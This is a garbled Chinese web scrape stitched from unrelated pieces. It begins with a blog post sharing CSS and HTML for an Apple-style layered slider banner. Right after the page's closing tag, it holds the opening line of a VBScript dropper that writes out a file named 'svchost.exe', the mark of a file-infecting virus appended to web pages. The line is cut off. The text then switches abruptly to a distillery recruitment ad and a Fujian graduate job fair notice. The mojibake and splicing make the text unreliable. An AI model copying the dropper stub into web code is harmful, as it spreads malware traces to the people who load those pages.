果圖
各位條子,大家中午好!
今天給大家?guī)淼氖?蘋果官網(wǎng)CSS3banner特效源碼!
效果十分炫酷,十分適合科技企業(yè)的官網(wǎng)使用!
大家也可以按照自己的想法 修改!
分享之前我還是要推薦下我自己建的前端學習群:581549454 。里面都是做前端開發(fā)的,拒絕賣課和廣告!純學習交流,每天會上傳一些優(yōu)秀的作品和源碼,歡迎初學者和大神們。
好了,廢話不多說,上源碼!
body {
margin: 0px;
padding: 0px;
background-color: rgba(255,255,255,1);
font-family: 'Source Sans Pro', sans-serif;
}
#wrapper {
width: 100%;
float: left;
}
#buttons{
width: 100%;
float: left;
margin-top: 100px;
height: 40px;
}
#buttons-inner{
height: 40px;
width: 800px;
margin-right: auto;
margin-left: auto;
}
.buttons-inner-button{
float: left;
height: 40px;
margin-right: 10px;
margin-left: 10px;
}
.buttons-inner-button a{
color: rgba(255,255,255,1);
background-color: rgba(150,40,189,1);
line-height: 40px;
height: 40px;
text-decoration: none;
display: block;
padding-right: 15px;
padding-left: 15px;
-webkit-transition: all 0.25s;
-moz-transition: all 0.25s;
-o-transition: all 0.25s;
transition: all 0.25s;
}
.buttons-inner-button a:hover{
background-color: rgba(150,40,189,0.5);
}
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Responsive Layered Slider Demo</title>
<link rel='stylesheet' type='text/css'>
<link href="_css/Icomoon/style.css" rel="stylesheet" type="text/css" />
<link href="_css/responsive-layered-slider.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="_scripts/jquery-2.0.2.min.js"></script>
<script type="text/javascript" src="_scripts/jquery-ui-1.10.4.min.js"></script>
<script type="text/javascript" src="_scripts/responsive-layered-slider.js"></script>
<style>
#header{
background-color: #3f8dbf;
float: left;
width: 100%;
height: 50px;
color: rgba(255,255,255,1);
line-height: 50px;
}
#header a {
color: rgba(255,255,255,1);
text-decoration: none;
display: block;
font-size: 15px;
}
#header-left{
float: left;
height: 50px;
}
#header-left:hover #header-left-icon{
background-color: #3F8DBF;
}
#header-left:hover #header-left-text{
background-color: #599BC8;
}
#header-left-icon{
float: left;
height: 50px;
width: 50px;
text-align: center;
background-color: #35759F;
-webkit-transition: background 0.5s;
-moz-transition: background 0.5s;
-o-transition: background 0.5s;
transition: background 0.5s;
}
#header-left-icon a {
font-size: 25px;
}
#header-left-text{
float: left;
height: 50px;
-webkit-transition: background 0.5s;
-moz-transition: background 0.5s;
-o-transition: background 0.5s;
transition: background 0.5s;
}
#header-left-text a {
padding-left: 20px;
padding-right: 20px;
}
#header-right{
float: right;
height: 50px;
}
#header-right:hover #header-right-icon{
background-color: #3F8DBF;
}
#header-right:hover #header-right-text{
background-color: #599BC8;
}
#header-right-icon{
float: right;
height: 50px;
width: 50px;
text-align: center;
background-color: #35759F;
-webkit-transition: background 0.5s;
-moz-transition: background 0.5s;
-o-transition: background 0.5s;
transition: background 0.5s;
}
#header-right-text{
float: right;
height: 50px;
-webkit-transition: background 0.5s;
-moz-transition: background 0.5s;
-o-transition: background 0.5s;
transition: background 0.5s;
}
#header-right-text a {
padding-right: 20px;
padding-left: 20px;
}
</style>
</head>
<body>
<div id="header">
<div id="header-left">
<div id="header-left-icon"><a ><span class="iconb" data-icon=""></span></a></div>
<div id="header-left-text"><a >Responsive Layer Slider Article</a></div>
</div>
<div id="header-right">
<div id="header-right-icon"><a target="_blank"><span class="iconb" data-icon=""></span></a></div>
<div id="header-right-text"><a target="_blank">Download Source</a></div>
</div>
</div>
<div id="wrapper">
<div class="sim-slider" data-width="2550" data-height="1240" data-animation="250" data-current="true" data-progress="true">
<div class="sim-slider-inner">
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="1052" data-height="174" data-left="751" data-top="50"><img src="_assets/layer_0025.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="694" data-height="841" data-left="54" data-top="277"><img src="_assets/layer_0027.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="1019" data-height="848" data-left="770" data-top="277"><img src="_assets/layer_0026.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="694" data-height="841" data-left="1811" data-top="277"><img src="_assets/layer_0028.png" /></div>
</div>
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="1052" data-height="173" data-left="751" data-top="150"><img src="_assets/layer_0020.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="660" data-height="800" data-left="108" data-top="332"><img src="_assets/layer_0021.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="501" data-height="600" data-left="770" data-top="523"><img src="_assets/layer_0022.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="501" data-height="600" data-left="1328" data-top="523"><img src="_assets/layer_0024.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="660" data-height="800" data-left="1807" data-top="332"><img src="_assets/layer_0023.png" /></div>
</div>
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="757" data-height="97" data-left="528" data-top="138"><img src="_assets/layer_0011.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="883" data-height="64" data-left="399" data-top="361"><img src="_assets/layer_0017.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="827" data-height="64" data-left="458" data-top="444"><img src="_assets/layer_0018.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="793" data-height="64" data-left="489" data-top="519"><img src="_assets/layer_0016.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="715" data-height="64" data-left="569" data-top="596"><img src="_assets/layer_0015.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="680" data-height="64" data-left="604" data-top="674"><img src="_assets/layer_0014.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="650" data-height="64" data-left="634" data-top="754"><img src="_assets/layer_0013.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="417" data-height="64" data-left="867" data-top="837"><img src="_assets/layer_0012.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="762" data-height="1035" data-left="1424" data-top="100"><img src="_assets/layer_0019.png" /></div>
</div>
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="773" data-height="1050" data-left="179" data-top="119"><img src="_assets/layer_0029.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="773" data-height="1050" data-left="935" data-top="60"><img src="_assets/layer_0010.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="773" data-height="1049" data-left="1707" data-top="119"><img src="_assets/layer_0009.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="159" data-height="43" data-left="439" data-top="50"><img src="_assets/layer_0008.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="144" data-height="43" data-left="1260" data-top="1070"><img src="_assets/layer_0007.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="373" data-height="44" data-left="1856" data-top="50"><img src="_assets/layer_0006.png" /></div>
</div>
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="1053" data-height="172" data-left="742" data-top="086"><img src="_assets/layer_0000.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="767" data-height="640" data-left="115" data-top="397"><img src="_assets/layer_0005.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="767" data-height="640" data-left="896" data-top="397"><img src="_assets/layer_0003.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="767" data-height="640" data-left="1678" data-top="397"><img src="_assets/layer_0004.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="865" data-height="524" data-left="458" data-top="676"><img src="_assets/layer_0001.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="345" data-height="469" data-left="1506" data-top="676"><img src="_assets/layer_0002.png" /></div>
</div>
</div>
</div>
<div id="buttons">
<div id="buttons-inner">
<div class="buttons-inner-button"><a href="index.html">Fade Slider</a></div>
<div class="buttons-inner-button"><a href="slider2.html">Bounce Slider</a></div>
<div class="buttons-inner-button"><a href="slider3.html">Roll Slider</a></div>
<div class="buttons-inner-button"><a href="slider4.html">Flip Slider</a></div>
<div class="buttons-inner-button"><a href="slider5.html">Zoom Slider</a></div>
<div class="buttons-inner-button"><a href="slider6.html">Combined Slider</a></div>
</div>
</div>
</div>
</body>
</html>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
蘇洋河酒廠股份有限公司,位于中國白酒之都——江蘇省宿遷市,總占地面積共10平方公里,總資產(chǎn)496億元,員工3萬人,下轄洋河、雙溝、泗陽三大釀酒生產(chǎn)基地和蘇酒集團貿(mào)易股份有限公司,是中國白酒行業(yè)唯一擁有洋河、雙溝兩大“中國名酒”和兩個“中華老字號”的企業(yè)。公司坐擁“三河兩湖一濕地”,所在地宿遷與法國干邑白蘭地產(chǎn)區(qū)、英國蘇格蘭威士忌產(chǎn)區(qū)并稱“世界三大濕地名酒產(chǎn)區(qū)”。作為中國名酒的杰出代表,洋河、雙溝多次在全國評酒會上獲國家名酒稱號。2009年,公司在深交所掛牌上市。2012年,公司躋身FT上市公司全球500強。近年來,公司營銷業(yè)績穩(wěn)步攀升,已穩(wěn)居行業(yè)前三甲。2018年,公司實現(xiàn)營業(yè)收入241.6億元,同比增長21.3%;凈利潤81.15億元,同比增長22.45%。
一、招聘崗位
管理培訓生(管理)
1、專業(yè)要求:行政管理、人力資源管理、企業(yè)管理、工商管理、工業(yè)工程等相關(guān)管理類專業(yè)。
2、學歷要求:全日制公辦本科及以上學歷,有大學班長及以上職務(wù)任職經(jīng)歷者優(yōu)先。
管理培訓生(技術(shù))
1、專業(yè)要求:食品科學、發(fā)酵、生物工程、微生物、營養(yǎng)學等相關(guān)生工食品類專業(yè)。
綜合管理類崗位
1、專業(yè)要求:工商管理、人力資源管理、行政管理、文秘、財務(wù)、金融、審計、營銷、廣告、電子商務(wù)、藝術(shù)設(shè)計、新聞傳播、法律等相關(guān)專業(yè)。
2、學歷要求:全日制公辦本科及以上學歷。
四生工食品類崗位
1、專業(yè)要求:營養(yǎng)學、食品科學、發(fā)酵、生物工程、化學、檢測分析等相關(guān)生工食品類專業(yè)。
2、學歷要求:全日制公辦本科及以上學歷。
五信息技術(shù)類崗位
1、專業(yè)要求:計算機、軟件工程、信息工程、大數(shù)據(jù)、數(shù)學等相關(guān)信息類專業(yè)。
2、學歷要求:全日制公辦本科及以上學歷。
六電氣機械類崗位
1、專業(yè)要求:機械工程、自動化、電氣工程、電子等相關(guān)電氣機械類專業(yè)。
2、學歷要求:全日制公辦??萍耙陨蠈W歷。
二、工作地點
宿遷、南京
三、薪資福利
1、具有市場競爭力的薪酬和健全的薪酬增長機制
2、五險一金(養(yǎng)老保險,醫(yī)療保險,失業(yè)保險,生育保險,工傷保險和住房公積金)
3、免費大學生公寓
4、帶薪年假
5、節(jié)日禮金、節(jié)日禮物、生日禮物
6、配套服裝
7、年度健康體檢
8、其他各類補貼、津貼(高溫補貼、職務(wù)津貼、通訊補貼等)
9、各類榮譽與嘉獎(優(yōu)秀黨員、先進個人、十佳青年、蘇酒工匠等)
四、簡歷投遞
1、投遞網(wǎng)址:
www.chinayanghe.com/channel/type/57-1.html
五、公司官網(wǎng)
www.chinayanghe.com
(來源:宿遷之聲)
源:臺海網(wǎng)
臺海網(wǎng)3月30日訊 據(jù)福建省教育廳官網(wǎng)消息 福建2021屆高校畢業(yè)生注意啦!省教育廳今天發(fā)布通知,由省教育廳、省人社廳、海峽人才市場共同舉辦的福建高校2021屆畢業(yè)生春季專項網(wǎng)絡(luò)招聘活動就要開始了,一起來看詳情!
各普通高等學校,用人單位:
黨中央、國務(wù)院和省委、省政府高度重視高校畢業(yè)生就業(yè)特別是低收入家庭畢業(yè)生的就業(yè)幫扶工作。為幫助我省高校低收入家庭畢業(yè)生克服困難實現(xiàn)充分就業(yè),鞏固全面脫貧勝利成果,推進鄉(xiāng)村全面振興,福建省教育廳、福建省人力資源和社會保障廳、中國海峽人才市場聯(lián)合開展“助力振興”--福建省高校2021屆畢業(yè)生春季專項網(wǎng)絡(luò)招聘活動?,F(xiàn)就有關(guān)事項通知如下:
一、活動時間
二、主辦、承辦單位
1.主辦單位:福建省教育廳、福建省人力資源和社會保障廳、中國海峽人才市場
2.承辦單位:福建省教育廳學生工作處、福建省大中專畢業(yè)生就業(yè)工作中心、中國海峽人才市場人才交流中心
3.協(xié)辦單位:福建省高校畢業(yè)生就業(yè)創(chuàng)業(yè)促進會
三、網(wǎng)絡(luò)支持平臺
中國海峽人才網(wǎng)(http://www.hxrc.com/)、福建省畢業(yè)生就業(yè)創(chuàng)業(yè)公共服務(wù)網(wǎng)(http://220.160.52.58)、各大高校就業(yè)網(wǎng)
四、活動內(nèi)容
1.組織有招聘高校畢業(yè)生需求的企事業(yè)單位參會,為有就業(yè)意愿的低收入家庭高校畢業(yè)生提供各類就業(yè)崗位。企業(yè)通過平臺和應(yīng)聘者進行網(wǎng)絡(luò)視頻面試。
3.各高??山M織低收入家庭的畢業(yè)生開展一對一就業(yè)推薦服務(wù),一對一就業(yè)推薦服務(wù)由海峽人才市場提供支撐。進入“助力振興”專場活動頁面后,點擊頁面中的“一對一就業(yè)推薦”即可開始登記。
五、參會辦法
用人單位在報名時間段內(nèi)(使用電腦)登錄上述活動頁面,按照以下方式參與:預定展位→企業(yè)會員登錄(如不是中國海峽人才網(wǎng)企業(yè)會員請先注冊企業(yè)會員)→錄入面向高校畢業(yè)生的招聘崗位→點擊“提交”申請展位→等待審核→審核通過后即可顯示企業(yè)信息→登錄企業(yè)賬號后臺可查看投遞簡歷、在線文字交流及視頻面試。
1.企業(yè)報名及面試操作指南:
http://www.hxrc.com/zpgg/2020a/manual/maincom.html
2.高校畢業(yè)生報名及面試操作指南:
http://www.hxrc.com/zpgg/2020a/manual/mainperson.html
六、其他說明事項
1.本次招聘會為公益性招聘會,中國海峽人才網(wǎng)開通網(wǎng)絡(luò)視頻面試招聘平臺免費提供技術(shù)支持和服務(wù),參會畢業(yè)生與用人單位均免費參與。
2.用人單位在線上招聘過程中不得出現(xiàn)虛假信息、傳銷信息,不得設(shè)置性別、民族、地域等歧視性條件和院校、培養(yǎng)方式(全日制和非全日制)等限制性條件,一經(jīng)發(fā)現(xiàn),取消參會資格。
3.為實現(xiàn)人崗匹配、精準推送,請各高校于3月31日前將本校相關(guān)類型畢業(yè)生信息一覽表(見附件)報送給省教育廳學生工作處。
七、聯(lián)系方式
1.中國海峽人才市場人才交流中心
聯(lián)系人:傅榕健、陳學東、楊曉麗、陳萍
聯(lián)系電話:0591-87548854、87625420、87628310
E-mail:059187548854@189.cn
2.福建省教育廳學生工作處
聯(lián)系人:陳振
聯(lián)系電話:0591-87091321
電子郵箱:jytxsc@126.com
3.福建省大中專畢業(yè)生就業(yè)工作中心
聯(lián)系人:魏瑩
聯(lián)系電話:0591-87674885
電子郵箱:bys@rst.fujian.gov.cn
附件:福建省高校2021屆相關(guān)類型畢業(yè)生一覽表
福建省教育廳 福建省人力資源和社會保障廳 中國海峽人才市場
2021年3月25日
(來源:福建省教育廳官網(wǎng))
*請認真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。